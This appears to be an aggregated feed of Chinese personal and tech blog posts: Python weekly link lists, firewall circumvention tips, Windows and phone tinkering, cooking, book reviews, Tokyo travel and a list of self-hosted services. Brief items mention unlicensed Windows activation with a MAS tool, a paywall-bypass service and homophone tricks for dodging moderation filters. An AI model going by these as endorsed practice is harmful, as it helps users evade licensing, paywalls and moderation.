⑧ 使用 uv 实现懒安装的 Python 脚本
⑨ 用 Django 和 Wikipedia 文章开发一个聊天后端
⑩ 如何在其它编程语言中使用 PyJokes?!
⑪ 自定义 Python 的模式匹配行为
⑫ 圣诞日历:关于设计模式
① qutebrowser:Python + Qt 开发的类似 vim 的浏览器
② Pype:Python + HTML 桌面应用框架
③ django-daisy:用 daisyui 开发的现代 Django 仪表板
④ icloud_photos_downloader:从命令行中下载 iCloud 照片
⑤ vanir:基于源码的静态分析工具,可识别缺失的安全补丁
⑥ minima:具有可配置容器的本地对话式 RAG
⑦ lancedb:用于 AI 的无服务器向量数据库
⑧ pandera:轻量级的统计数据测试库
⑨ python-sdk:MCP 官方的 Python SDK
⑩ PdfDing:可自托管的 PDF 管理工具
⑪ BayerFileshare:安全便捷的网盘应用
⑫ Perplexica:AI 驱动的搜索引擎,Perplexity AI 的开源替代
① DjangoCon US 2024 视频(59个)
② 用 FastAPI 开发一个 AI 照片生成器
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看第 81 期周刊的全文:https://www.xiaobot.net/post/0bf644f5-1f3a-4ae5-8cfd-7d378fbe701d
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

December 15, 2024 12:00 AM

December 13, 2024

xiaowuleyi

聊几句翻墙的话题

友情提醒:不建议在国内网络环境下讨论。

所谓翻墙就是绕过中国的国内长城防火墙,自由访问中国地区外的网络。中国防火墙如同一个巨大的放大镜,会查看每一条需要连接到国外的访问请求。如果不是在“黑名单”里的网站,那么可以访问,如果在“黑名单”里,则拒绝放行请求,告诉你无法访问。
翻墙就是通过一种特殊的方式,假装是访问正常国外某网站骗过防火墙,实际上是访问“黑名单”里的网站。
当然,也有一些网站直接屏蔽中国IP,不允许中国的用户访问登录。所以,要么你有一张美国绿卡,要么你有一个美国IP,哈哈哈哈。
那想实现翻墙,就需要通过翻墙软件来实现,这个是绝大多数人的需求。专业术语叫:梯子。其实这个吧,如果在国内找,骗子还挺多的,最好是问身边靠谱的朋友,从他们那边找一个。并且钱最好也是按月缴,大多数提供翻墙服务的平台存活周期并不长久。
同时,注册的时候,尽量使用非自己相关的信息,包括单独注册一个邮箱,随时可以不用的那种。当然这些都是细节,请多多注意。至于网站,我就不提供了,因为我没有使用任何梯子。
如果你动手能力强,倒是可以自己搭建一个,这个网上也有不少教程。不过很可惜,都在youtube上面,也即是说,你想学会自己搭建翻墙软件,首先得先翻出来能看youtube。为了能长久的使用,稳定的固定自己的IP,可以试试甲骨文提供的免费服务器,1G内存2cpu,500M带宽。基本上能满足日常使用以及看视频的需求。但是这个搭建过程,对普通人而言,有点难度。
当然,还可以试试在cloudflare上面的服务器,“白嫖”一个翻墙服务。这个我不推荐,但是可以考虑弄一个当做备用,狡兔三窟,你懂吧。
最后,我相信,很多话点到为止就够了,能不能找到,就看自己对这件事情的渴望程度。想想当年为了看黄色网站,不也是没人教,自己就摸索出来了吗?

by 小吴乐意 at December 13, 2024 08:56 PM

agen233

Redmi Buds 4 Pro偷渡和开启LDAC

前几天用了很久的OPPO Enco Air2寄了,于是在当地的小米之家,原价入了Redmi Buds 4 Pro,用了几天发现可以通过刷入国际版固件开启LDAC,于是记录一下。
2024年12月11日:可喜可贺的事,Redmi Buds 4 Pro不见了(

December 13, 2024 04:24 PM

资中筠:休将明月照沟渠,莫与脑残争高低

本文转载自互联网,版权协议不明,侵权请联系!

我观察过很多 “争论” 的场景,也经常被卷入争论的漩涡。发现这个现象有其 “规律性”:中国式争论,其实都不是真正的争论,多数都是因为话语的对等,陷入抬杠的尴尬境地。

人与人之间一旦开始抬杠,就必然在情绪上严重升级,继而开始出言不逊。

December 13, 2024 01:47 PM

关于algolia自动上传

跟着教程把algolia搞出来了,但是发现每次修改完三连上传的时候,都不会自动更新algolia的index,必须手动hexo algolia一下,虽说问题不大,但是相当不优雅。

一开始是想着修改下能不能hexo deploy的时候一并上传,但是发现方向错了。

December 13, 2024 01:47 PM

关于abbrlink和asset-image不兼容问题

之前在把博客主题从butterfly换成安知鱼的时候,发现本地图片全部挂了,后来得知是两个插件不兼容,记录一下处理的方式,新版本应该已经做了适配了,所以本文没有多少参考意义了(

December 13, 2024 01:47 PM

WindowsME开启DOS实模式

总所周知,尽管MS十分自信地把实DOS模式去掉了,但就系统底层而言,WindowsME仍然是一个基于DOS的、16混32位架构的系统,既然基于DOS,那么必然有DOS实模式,因而通过奇淫怪巧,可以找回实模式(

December 13, 2024 01:47 PM

小米平板6降级MIUI14

小米澎湃OS是小米为各种轻量设备打造的高性能操作系统,支持硬件资源精准调度、流畅流畅、极速网络、异构兼容性等特点。

但是,可能是平板上的澎湃优化尚不到位,总是感觉没有他的前代MIUI14,更是远不如前前代MIUI13,用起来相当难受,我姑且算有一点点的刷机基础,于是参考着其他大佬的教程,尝试一下降级操作。

e147529a6959a216feeb305ac16f6ea


December 13, 2024 01:47 PM

imgtp图床寄了

一直很少量但是很经常的在用这个图床,之前貌似有提过因为资金问题无法维持,但是后面又能用了,想着能用就不动的原则没去管,现在他最终没坚持下去了,所以不得不考虑图床的问题。

但是这几天发现博客的图标没了,找了半天发现是图床挂了,也是人麻。

实际上我图

December 13, 2024 01:47 PM

软件方向软考学习记录(一)

由于最近有其他安排,软考计划和文章将无限期搁置,有空再考虑。

最近闲的没事干,在准备软考,有误还劳烦各位斧正。只是记录一下,不完全正确

这是第一部分,主要是计算机系统基础部分。

December 13, 2024 01:47 PM

金砖创新-云边端应用开发学习记录

被拉去参加一个没听过的奇奇怪怪的比赛,学习了一些奇奇怪怪的深度学习的东西,记录一下奇奇怪怪的事情

配合为巽大佬的文章食用更佳2024 年金砖竞赛 – 云边端赛项

December 13, 2024 01:47 PM

关于OSI七层模型

最近学了计网和OSI模型,对这个有了点初步的了解,在这里聊聊个人的理解和看法。

OSI为计算机网络通信提供了一个标准的体系结构,使不同厂商和组织能够在相同的基础上进行设计、开发和实现网络协议和设备,从而实现互操作性。在此基础上,OSI提出了结构化的七个抽象层,使得网络设计和维护,故障排查和检修变得简单和清晰明了。在设计网络的时候可以根据OSI进行精细而有目的的协同和设计,而当网络出现问题的时候,OSI的抽象层使得可以清晰地根据不同的故障进行有针对性的且是不同的层级划分的基础上进行具体的定位和解决。

December 13, 2024 01:47 PM

旗帜鲜明地反对基于运营商PON方案的FTTR

现在三大运营商都在不竭余力地在1000Mbps以上的宽带中推行自己的基于PON的FTTR组网方案。FTTR就是Fiber to the Room,说白了就是局域网从传统的双绞线电组网到全光组网。但是现在的FTTR用的是无源PON方案,实际上这种方案与无源PON要解决的问题背道而驰,不仅无法体现PON的技术优势,还极端明显地体现了其劣势。小且低速的局域网内采用PON方案的FTTR根本就是徒增成本。

December 13, 2024 01:47 PM

Windows策略组维护

Emmm,这篇文章是基于广东省物联网技能大赛的样题,姑且算记录一下比赛的东西。

这篇文章主要是工具性的,所以遇到过其他非比赛的策略组的东西,也会记录一下,就当是手册。

December 13, 2024 01:47 PM

基于ESP-IDF+VSCODE的ESP32开发环境搭建

若干年前想着学ESP-IDF,跑了下开发环境,发现乐鑫这个破IDF是真的多坑啊

December 13, 2024 01:47 PM

Keil5烧录报错Connection refused due to device mismatch的玄学问题

之前上课的时候,老师要求把指定的固件刷到开发版里面,但奇怪的是,有的板子可以刷入,有的不行,有的电脑可以,有的却不行。按理说工程文件、STLink驱动、开发版都是一样的,不应该存在这种问题才对。于是Google了一轮,记录一下。

December 13, 2024 01:47 PM

“送去大学的外卖基本没有差评”

虽然我平时点外卖并不多(基本不是在校内买就是直接出去吃),但回想一下自己点外卖的时候,似乎一直是对外卖小哥抱着 “理解”“体谅” 的态度

我想,只是因为能上到大学的学生所接触的基础教育是具备正确价值观的,而不是计较、抠门、刁难、无理取闹

嘛,也是大半夜无聊刷博客看到了港港写的“送去大学的外卖基本没有差评”而我之前暑假的时候也去送了一波外卖,有感而发(

与此同时,我个人也是进场点外卖,于是想本着两个角度和两个立场的角度,来聊聊。

December 13, 2024 01:47 PM

非小米电脑安装小米电脑管家

小米电脑管家是一款专为小米笔记本用户设计的电脑管理软件,是小米HyperConnect生态的重要一环。它提供了一系列强大的功能,包括驱动管理、硬件信息、设备互联等。其内置了小米的HyperConnect跨端智联功能。

如果你是小米手机用户的话,那么非常建议你安装!因为他能给你完整的智慧互联。本期,将以非小米电脑用户的视角,安装最新的完整版小米电脑管家

December 13, 2024 01:47 PM

在Win10及Win11下开启蓝牙耳机的LADC和aptXHD高质量音频协议

文章搭配Redmi Buds 4 Pro偷渡和开启LDAC食用更佳

之前说到,通过偷渡到国际版的方法,成功开启了RB4P的LDAC模式。但是Win10仍然只支持低质量的SBC,而Win11也只是只支持48Khz的AAC,更不提LDAC这些高品质音频协议。但是经过我的一番Google和Gihub之后,发现了一个好东西《Alternative A2DP Driver》可以通过这个第三方的蓝牙音频驱动,让Win10和Win11支持LDAC和aptXHD,并且可以选择更高的采样频率或编码质量。

网上有个观点是AAC之后感知不强,emmmm这点我觉得还是得看个人感受和耳朵敏感度,如果你的蓝牙耳机不是特别拉胯,那从SBC换成LDAC或者是aptXHD感知还是相当明显的,

December 13, 2024 01:47 PM

我们那丢人又幸福的不完美的人生 | 米奇与达利

一开始是闲的没事干,然后想找点乐子,顺便因为是双男主比较喜欢看小正太才看的。看了之后才发现不是那么一回事,根本不是所谓的乐子片。天知道我最后一集哭了多少次(((

December 13, 2024 01:47 PM

不得原谅、不得解脱、无人生还 | 《海底》by Hacken

偶然看到哈肯出新歌了,原来是参加了综艺(不追剧人.jpgs

刚开始试听,鸡皮疙瘩就起来了,哈肯果然是哈肯,宝刀未老(火了大半个世纪的男人.jpg

披荆斩棘的哥哥、披荆斩棘克勤,我认为这首歌是哈肯真正意义上的挑战自我的”披荆斩棘”,是抛弃了过往40年以来的传统唱法习惯来选择一种全新的演绎方式。作为哈肯老粉,哈肯的歌一直是文人书生的内敛而优雅的流派的,因此也被人称“毫无感情全靠技巧”。

December 13, 2024 01:47 PM

揪出Windows上阻止你屏幕自动睡眠的程序

昨晚开着电脑听歌的时候,突然发现过了两个小时还不会熄屏,这就奇了怪了,因为我的电脑是设置了3分钟熄屏的。

而 Win32API Winbase.h里面的SetThreadExecutionState可以使得屏幕关闭和阻止系统休眠,而这本身是静默的,Windows并没有在前端提示是由谁造成的,于是就特别难蚌(

折腾了一圈也是发现有两种方式可以把阻止休眠的程序找出来。

December 13, 2024 01:47 PM

Win10LTSC基于MAS工具的数字权利激活方案

我个人日常用的操作系统主要是Win11和Linux,但是最近Win11出现了各种诸如崩explorer、崩环境变量等诸多问题,遂尝试返回Win10。

但原生的Win10过于臃肿,带有许多诸如”‘Windows人脉’”等没用也用不上的功能,而我只需要一个简单好用的桌面系统。但是第三方的精简镜像系统安全和稳定性完全没有保障。这时官方提供的LTSC就很香了

December 13, 2024 01:47 PM

December 12, 2024

howiehz

群规之敏感违禁词对抗

朋友找了一段群规,但是我觉得有些词太敏感了可能还是会被举报。 原本想要用 GPT4o 改写下,但是效果不尽人意。于是我手动编辑了一下,使用了同音字替换的方法。 想知道原始含义只需要大声读出来就行了。 第一段 请不要发送喂乏翻嘴的消息,包括但不限于文字、图片、链接等消息,如:学心控不、正直翻动、读博奋

by HowieHz at December 12, 2024 03:02 PM

December 11, 2024

howiehz

一图展示​ ​RSS3 世界 - The Open(RSS3) Universe

本图原始作者为 欧雷流 授权 HowieHz 重绘 --- title: The Open(RSS3) Universe --- %%{init: { "theme": "light" } }%% flowchart TD A(("`**Open (Network)**`")) -->|组成部分|

by HowieHz at December 11, 2024 10:06 AM

December 09, 2024

anotherdayu

好好吃饭 意大利肉酱面

对意大利肉酱面最初的回忆可能是萨利亚和必胜客,萨利亚的味道很寡淡,必胜客的则浓一些。

后来吃了一次「镰仓PASTA」,才知道意大利面原来可以这么好吃。有点可惜的是几年前上海的镰仓陆陆续续关门了。

之前有一段时间自己住,偶尔会简单的做意大利面充饥,但谈不上好吃。

最近开始想要好好做做意大利面,发现意大利肉酱面其实是个慢烧料理,长时间的炖煮才能让风味融合。

拿着基础菜谱,先简单实验了一下。

  • 肉馅 1:1 组合了猪肉和牛肉,煸炒后待用
  • 用炒肉馅的底油煎软洋葱碎,然后与肉馅混合
  • 放入胡萝卜碎和芹菜碎,再加入一点黄油,混合均匀
  • 放入新鲜西红柿和意面酱
  • 加盐、糖、黑胡椒和料酒
  • 小火炖煮90分钟

味道比以前好了许多,但感觉还是不够浓郁。

隔夜再烹饪时,我稍留了一些煮面水,再加了一些牛奶,和意面、酱料一同收汁。

酱料裹的更均匀,也更浓郁了。

但这次的肉馅感觉太瘦了,脂肪不够,所以肉的味道不够香。另外,即使加了两个西红柿,番茄味还是不够突出,酱料的层次也不够丰富。

下次煮酱料的时候,想加点培根碎、浓缩番茄膏和肉高汤,炒肉馅的时候耐心些,煎出焦化层,把料酒换成红酒,出锅时再加点芝士和牛奶收汁。

整理一下新菜谱,下次待用:

  • 肉馅1:1混合猪肉和牛肉,煎出焦化层后盛出待用
  • 用炒肉馅的底油煎培根碎和洋葱
  • 放入胡萝卜碎和芹菜碎,再加入一点黄油,混合均匀
  • 放入新鲜西红柿、意面酱和番茄膏
  • 加盐、糖、黑胡椒、红酒和肉高汤,可以尝试加少量月桂叶、牛至和迷迭香
  • 小火炖煮90分钟
  • 快出锅时,加入罗勒、芝士和牛奶,大火收汁至酱料浓稠

想做出好吃的食物还是得耐心。

另外,最近在尝试 Reeder 作者出品的菜谱软件——Mela,一如既往的舒服。

可 Self-host 的 mealie-recipes/mealieTandoorRecipes/recipes 似乎也是不错的选择。

祝大家有个好胃口!

by Dayu at December 09, 2024 05:21 AM

December 07, 2024

anotherdayu

被烹饪的数据 Cooking Data


大模型的好坏,与数据质量息息相关,目前的数据大多已投入模型中,如何获得优质的真实世界数据将成为长期的课题。

我平时会做一部分数据分析,喜欢人类学,明年又有可能参与非洲的研究项目。Crystal Biruk 写的这本 Cooking Data 则包含了这些我参与和热爱的内容。前段时间薄荷实验在招这本书的翻译,我甚至都心动了。

本文是 Cooking Data 读后感。

幻想中的数据

作为学院派的研究者,我们其实没有很多机会参与完整的现场调查和数据收集,平时将拿到手的数据称为 raw data,并认为该数据应该是「干净且客观的」,偶尔遇到数据质量差的数据,则会心生抱怨。

这本书的标题则直接指出,「干净的数据」这一概念是虚构的,是远离现场的人们所想象的。数据必然被「多次烹饪」,无法避免的与社会和文化环境交织在一起。

然而基于数据的决策系统,已经被广泛应用于政策制定,所以梳理和反思数据产生的全流程是必要的。

CleanShot 2024-12-07 at 15.24.13@2x.png

文化盲点

全员多语种的专家团队是任何一个大项目都负担不起的,需要翻译专家从中协调。然而,即使 ChatGPT 等大语言模型提升了翻译的下限,也远远不够,这是大部分全球健康项目数据质量的根源性问题。

将高质量数据标准方案翻译成其他语言本身就面临很大挑战,即使是 WHO 官方翻译的中文文件,有时我阅读起来都怪怪的,最后直接看英文,才能完全理解。这不仅是逐字翻译的问题,而是叙事习惯和结构的问题,这些方案和标准需要是易于理解和执行的。

另外,不同语言体系中,对特定专业词汇的解释会有细微差异,仅仅是找到相似的其他语言替代词并不足够,有时需要创建新的词组,以确保含义的一致性。与此同时,又增加了表述的复杂性。

有时我们会假定数据驱动的一些学科,是植根于新时代的理性产物,纯科学、非文化。但这种假设是被视野所局限的,忽略了文化背景特殊性。

传统人口学倾向于将数据生产看作一个线性、标准化的流水线。然而,实际上每个数据点的形成都更像是一个有机的、动态的生命周期。数据并非简单、重复性的工业产物,而是通过一系列的交易、经历和关系后形成的。这种观点挑战了简化数据处理为工业化生产的思维模式,强调了数据的复杂性。

不对等

在研究项目中,不同职能的工作者,如项目设计、数据收集、分析、传播,之间的权力关系是不对等的。以作者的非洲马拉维现场为例,研究者在处理数据的时候,会对马拉维当地的平均知识水平产生偏见,并将数据分析中遇到的困难,转嫁为数据采集的质量较差。

这些不对称在追求方法学严谨的数据时被放大,并在欧美主导项目的背景下,引出了种族、新殖民主义、城乡不对称等残留问题。每个维度都值得更多的讨论和研究,但这种复杂性有时会让人们望而却步。

礼物

现场调查者常会准备小礼品以助调研顺利,最初会选用糖,但袋装糖的成本较高,在高气温环境运输不方便,并会占据更多运输空间。另外,有些因摄入糖或食用油而生病的受访者会因此抱怨。

与之相似的是,现场工作人员拒绝赠送空水瓶。因为有孩子装水喝完,如果出事,会与村民关系恶化。

外来者本就会被警惕和观察,任何小问题都会被放大。

肥皂则是一个经过实践检验的最佳选择,简单、方便、干净。

但礼物这个概念本身就会引起不平等,因为同一项目的不同调查点可能有的发放礼物,有的没有。没有获得礼物的村民则会觉得不公平。

随机抽样也会造成,仅有被调查的人收到了礼物,形成幸运的内部人和不幸的外部人之间的不平衡。

这些方面都是我以前没有考虑到的,而确实是长期项目所需要关注的。

与当地人和谐相处,才能避免基层调查者和受访者的流失,保证回访的数据质量。

这几年翻译成中文的人类学书籍越来越丰富了,真不错!

by Dayu at December 07, 2024 12:47 PM

剑玉 Kendama

剑玉(けん玉、Kendama),是一种源于日本或法国的民间游戏,由三皿一刺一绳一球组成。19 年的时候手痒买了一个,后来断断续续的玩着,越来越喜欢。

CleanShot 2024-12-07 at 17.02.49@2x.png

前几天在东京,特意去了涩谷附近的剑玉店,氛围很国际化,甚至店内是英文交流。一个老哥疯狂炫技,眼睛都要跟不上了。

各种异性、大型、小型的剑玉也让人目不暇接。东西很多,但价格略高,且我能接收的价位中,没有淘宝的选品看上去精致。

于是人处东京,淘宝激情下单,买了一款咖啡豆元素的国产剑玉。

这两天终于到手,比之前买的基础款稍大一些,枫木剑柄,白蜡木的球。黏性漆和稍大的大小皿,感觉更容易上手一些。线稍长,还需要一点时间适应。小缺点是剑柄和球上的文字有些多,如果都去掉,会更简约好看。

.png

这两年看电脑的时间太多了,需要一些不用眼的小活动,间歇性休息一下,剑玉就是很好的选择。

它的基础动作并不难,很适合和朋友一起体验。之前去露营的时候,我带了剑玉和飞盘,挺欢乐的。

目前我只能玩一些基础动作,连招对我来说还太难了,之后打算好好修炼一下!

by Dayu at December 07, 2024 09:21 AM

waylau

Node.js新作《循序渐进Node.js企业级开发实践》简介

《循序渐进Node.js企业级开发实践》由清华大学出版社出版,已于近期上市。该书基于Node.js 22.3.0编写,提供26个实战案例+43个上机练习,可谓是目前市面上最新的Node.js力作。

本文对《循序渐进Node.js企业级开发实践》一书做个大致的介绍。

封面部分

首先是介绍封面部分。

《循序渐进Node.js企业级开发实践》跟我之前所介绍的《循序渐进Spark大数据应用开发》是属于同一系列的作品,封面部分保持了一贯的比较Q的风格设计,充满活力。

可以看到,左下角和右上角体现了本书特色。本书目标是“解锁Node.js潜能,成就全栈开发之路!”。同时本书案例丰富,提供26个实战案例+43个上机练习。

为了方便各大院校师生教学使用,本书也提供了源码和教学课件。

右下角是出版社“清华大学出版社”字样。

封底部分

介绍封底部分。

封底部分可以看到主要是对本书的简介。

本书主要是面向对Node.js应用开发感兴趣的学生、开发人员及架构师,也适合培作为高校大数据及相关专业的教学用书。

  • Node.js初学者:本书从基础知识开始,逐步深入到核心编程、网络编程和数据存储等高级主题,适合零基础或刚开始接触Node.js的开发者。
  • 进阶开发者:对于已经有一定Node.js开发经验的开发者,书中的核心编程和网络编程部分提供了更深入的技术细节和实战案例,能帮助开发者提升技能水平,解决实际工作中遇到的复杂问题。
  • 全栈工程师:本书不仅涵盖了Node.js后端技术,还涉及了前端框架Vue.js的应用,以及即时聊天应用的综合实践。这使得全栈工程师可以通过一本书全面了解前后端技术的结合,提升整体开发能力。
  • 高校学生与教师:本书理论与实践相结合,并提供了大量上机练习题,很适合作为高校计算机相关专业的教学用书。教师可以根据书中的内容设计课程,学生则可以通过实际操作加深理解,提高动手能力。
  • 培训机构学员:对于参加Node.js培训的学员来说,本书是一本理想的教材。书中的实战案例和上机练习可以帮助学员更好地理解和掌握所学知识,提高培训效果。

全书篇幅317页,定价为89元,也算良心了。极具性价比。

内容简介

《循序渐进Node.js企业级开发实践》结合作者多年一线开发实践,系统地介绍了Node.js技术栈及其在企业级开发中的应用。全书共分5部分,第1部分基础知识(第1~3章),介绍Node.js的基础知识,包括模块化、测试等;第2部分核心编程(第4~9章),介绍Node.js的缓冲区、事件、定时、文件、进程、流等方面的处理;第3部分网络编程(第10~16章),介绍Node.js的TCP、UDP、HTTP、WebSocket、TSL/SSL、常用Web中间件、Vue.js与响应式编程等方面的内容;第4部分数据存储(第17~19章),介绍Node.js关于MySQL、MongoDB、Redis等数据存储的操作;第5部分综合应用(第20章),介绍Node.js实现即时聊天应用的完整过程。除了Node.js技术外,本书还讲述了Express、Socket.IO、Vue.js、MySQL、MongoDB、Redis等热门技术的应用。本节还精心设计了26个实战案例和43个上机练习,所有练习都提供了操作步骤,便于读者实操演练,快速上手。

《循序渐进Node.js企业级开发实践》技术新颖,实例丰富,理论讲解与代码实现相结合,既适合作为Node.js的初学者和进阶读者的自学用书,也适合作为培训机构或高校相关专业的教学用书。

全书分为以下5部分:

  • 基础知识(第1~3章):介绍Node.js的基础知识,包括模块化、测试等。
  • 核心编程(第4~9章):介绍Node.js的缓冲区、事件、定时、文件、进程、流等方面的处理。
  • 网络编程(第10~16章):介绍Node.js的TCP、UDP、HTTP、WebSocket、TSL/SSL、常用Web中间件、Vue.js与响应式编程等方面的内容。
  • 数据存储(第17~19章):介绍Node.js关于MySQL、MongoDB、Redis等数据存储的操作。
  • 综合应用(第20章):介绍Node.js实现即时聊天应用的完整过程。

值得注意的是,本书精心设计了26个实战案例和43个上机练习,每个上机练习均给出了操作步骤和示例代码,便于读者边学边练,快速上手。这些内容旨在帮助读者将理论知识转化为实践技能,快速提升解决实际问题的能力。无论是对于学生、大数据开发人员还是架构师来说,这都是一本不可多得的宝贵资源。

写作背景

Node.js作为一款高性能、开源的服务器端JavaScript运行环境,自2009年诞生以来,凭借其非阻塞I/O模型、事件驱动、单线程等特性,在实时应用、高并发场景以及前后端分离的架构中得到了广泛应用。同时,随着前端技术的不断进化,如React、Vue等框架的兴起,全栈开发的概念逐渐被更多的开发者接受。Node.js作为全栈开发的重要一环,其重要性不言而喻。

近年来,随着云计算、大数据、人工智能等技术的融合发展,Node.js的应用场景也在不断扩展,从最初的Web开发逐渐延伸到物联网、移动应用、实时通信、游戏开发等多个领域。因此,对于广大开发者来说,掌握Node.js已经成为必备的技能之一。

本书旨在为广大Node.js开发者提供一本全面、系统、深入的学习指南。本书不仅涵盖了Node.js的基础知识,还深入讲解了Node.js的核心原理、高级特性以及实际应用场景。同时,本书还结合了大量的实战案例,帮助读者更好地理解和掌握Node.js的全栈开发技巧。

配套资源

本书提供的素材和源代码可从以下网址下载:

https://github.com/waylau/nodejs-book-samples

勘误和交流

本书如有勘误,会在以下网址发布: https://github.com/waylau/nodejs-book-samples/issues

视频介绍

见B站:https://www.bilibili.com/video/BV1NrqLYQEi4/

配套书籍、课程

如果你喜欢本开源书,也欢迎支持下该书的正式出版物,实体店及各大网店有售。

参考引用

December 07, 2024 12:22 AM

pythoncat

Python 潮流周刊#80:Django 项目性能调优

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
分享了 12 篇文章,12 个开源项目,3 则音视频,全文 2100 字。
以下是本期摘要:
① Django 性能终极指南:扩展和优化的最佳实践
② Django 项目性能优化:一份检查清单
③ 用 Emacs 打造高级 Python 开发工作流
④ 2024 年度回顾
⑤ 使用机器学习技术破解 4Chan 验证码
⑥ 避免大模型框架成为你的绊脚石
⑦ 开发一个 Flask 小应用
⑧ 用 Python 揭开 ODBC 的神秘面纱
⑨ python-build-standalone 的新家
⑩ 如何调试你的 Textual 项目?
⑪ 处理 Cookie 是一个雷区
⑫ 2024 年以开发为主题的圣诞日历
① MagicQuill:智能的交互式图像编辑系统
② deply:保持 Python 项目架构整洁
③ pdf-extract-api:用 OCR + Ollama 解析 PDF
④ peek:打印调试信息和基准测试
⑤ python-fire:为 Python 对象生成 CLI
⑥ pretty-pie-log:线程安全的日志记录库
⑦ generative-ai-project-template:streamlit+fastapi+llm 的 AI 项目模板
⑧ ai-hedge-fund:AI 驱动的对冲基金团队
⑨ Progresspal:去中心化的可迭代对象、函数和日志跟踪器
⑩ nodezator:通用的 Python 节点编辑器
⑪ pydantic-ai:同时用 Pydantic 和大模型
⑫ skyvern:用 LLM 和计算机视觉做工作流自动化
① 2024 年 PyCon China 视频列表(18个)
② 2024 年 PyCon Australia 视频列表(88个)
③ 2024 年 PyData NYC 视频列表(62个)
周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,欢迎订阅这个你绝对不会后悔的专栏:https://xiaobot.net/p/python_weekly
订阅后,可免费查看 第 80 期周刊的全文:https://www.xiaobot.net/post/0838db6c-9982-4eb5-abc1-0ef2d0c38c2a
Python 潮流周刊第 2 季完结了,分享几项总结:https://pythoncat.top/posts/2024-07-14-iweekly
周刊前30期的免费合集,含精美电子书(EPUB/PDF):https://pythoncat.top/posts/2023-12-11-weekly
万字浓缩版,Python 潮流周刊第 1 季的 800 个链接!:https://xiaobot.net/post/78c3d645-86fa-4bd8-8eac-46fb192a339e

December 07, 2024 12:00 AM

December 06, 2024

anotherdayu

迷失东京 Day 2 东京都写真美术馆和根津美术馆

东京都写真美术馆

买了两张票,一个是 Alec Soth 的个展,另一个是 The Gaze of the Present(日本当代摄影展)。

IMG_2409.jpeg

上一次看 Alec Soth 是在上海摄影艺术中心(SCoP),现在 SCOP 已经关门了,有些伤感。

这个展馆比 SCOP 大很多,内容也更丰富一些,但布展结构似乎没有 SCOP 那么自在,比较严肃传统。

日本当代摄影展则囊括了多名日本当代摄影师,小田黑惠美、菅野小百合、千贺健二、神奈川真吾、原田佑希。

二楼是购物区,有很多摄影书,看的很过瘾。

四楼则是图书馆,挺安静的,如果不是旅行,可以在这呆上一整天。

近几年,上海在艺术展布展方面越来越棒了,比如 Fotografiska、浦美、西岸美术馆。感觉以前上海的美术展会倾向于量大管饱,少了些对小而精的追求。Fotografiska 则有了一些新的尝试,票价也确实贵一些。

日本商业和艺术结合的会更紧密,很多小型艺术展都在商区之内,且质量很高。上海 k11 也有类似的规划,但还是少了些。看着西岸附近规划逐渐成熟,感觉以后类似的尝试会越来越多。

IMG_2410.jpeg

根津美术馆

隈研吾操刀,竹木墙外是表参道,闹中取静,选品和光线都很细腻。

展馆外有很大一片庭院,枫叶季美极了。

单论观展体验可能是这次日本之行中最好的。

IMG_2415.jpeg

结束

逛完根津美术馆,就要回国了,下次想去神保町逛逛。

by Dayu at December 06, 2024 04:32 AM

目前使用的自托管服务

趁着黑五,新购置了配置高些的 VPS。折腾一番后,整理了目前自托管的服务。

第一个 VPS (Bandwagon)托管了 2 个项目 wordpress(建站) 和 Umami(数据统计),保持全球稳定的线路,和博客的稳定性:

第二个 VPS(Racknerd) 托管了 11 个项目:

  • Freshrss,RSS 阅读器,目前还安装了两个扩展:TranslateTitlesCN(谷歌翻译标题) 和 Auto Refresh(自动刷新)。日常我会使用 Reeder 登录 freshrss 账号阅读。Freshrss 因是网页端的,所以也很适合配合 immersive translate 使用。
  • wewe-rss,生成微信公众号订阅源,实际使用还挺稳定的,最后订阅了 27 个微信公众号。
  • rsshub,为其他网站生成RSS源,自建的更稳定些。
  • RSS-Bridge,订阅部分 rsshub 无法订阅的内容。本想用来订阅 instagram,但不稳定。不过功能确实挺强,便留下观察。与rsshub有很多互补之处,比如 rsshub 如果要订阅 telegram channel 比较复杂,RSS-Bridge 目前则比较简单。经费充裕的话,可以尝试 thefeedreaderbot,使用 webshare 的动态代理 ip,能够躲过 Block.
  • AdGuardHome,DNS 去广告服务,配合浏览器插件uBlock Origin,效果很好。
  • n8n,工作流自动化平台。
  • calibre-web,在线电子书库管理系统。
  • laber,跨越付费墙。
  • FileCodeBox,文件分享。
  • qBittorrent Web UI,BT 下载客户端的 Web 界面,可以远程管理和控制BT下载任务。
  • NextChat,以前叫 ChatGPT-Next-Web,ChatGPT 网页端界面,专门部署给家人使用。

更多自部署软件可参考:awesome-selfhostedTop 3 BEST applications you’ve decided to self-host? 。想轻量级省心的可以试试 YunoHost

个人倾向于将关键的非隐私类文件托管于信誉较好的大平台,如 Dropbox 和 1Password,所以没有使用自托管云盘和密码软件。

by Dayu at December 06, 2024 01:52 AM

December 05, 2024

anotherdayu

迷失东京 Day 1 Saul Leiter、FUJIFILM、安藤忠雄、Banksy 和 YOSIGO

Beauty in the Overlooked Ordinary

Saul Leiter 是我开始街头摄影时就喜欢的摄影师,《All about Saul Leiter》则是我买的第一本摄影书。

没有提前计划,来东京前一天搜展讯的时候,搜到了它,这就是缘分。

Art Cruise Gallery 是商场里的一个小小的展区,几分钟就能逛完。好在经典的几张作品都在,免费的展,也不能期待太多。

出门时买了《Forever Saul Leiter》,一红一黄,凑齐了两本。

IMG_2366.jpeg

FUJIFILM

上海富士 XSpace 是我很喜欢的去处,来东京之后没有找到同名的空间,但找到了富士旗舰店—六本木的 FUJIFILM SQUARE。

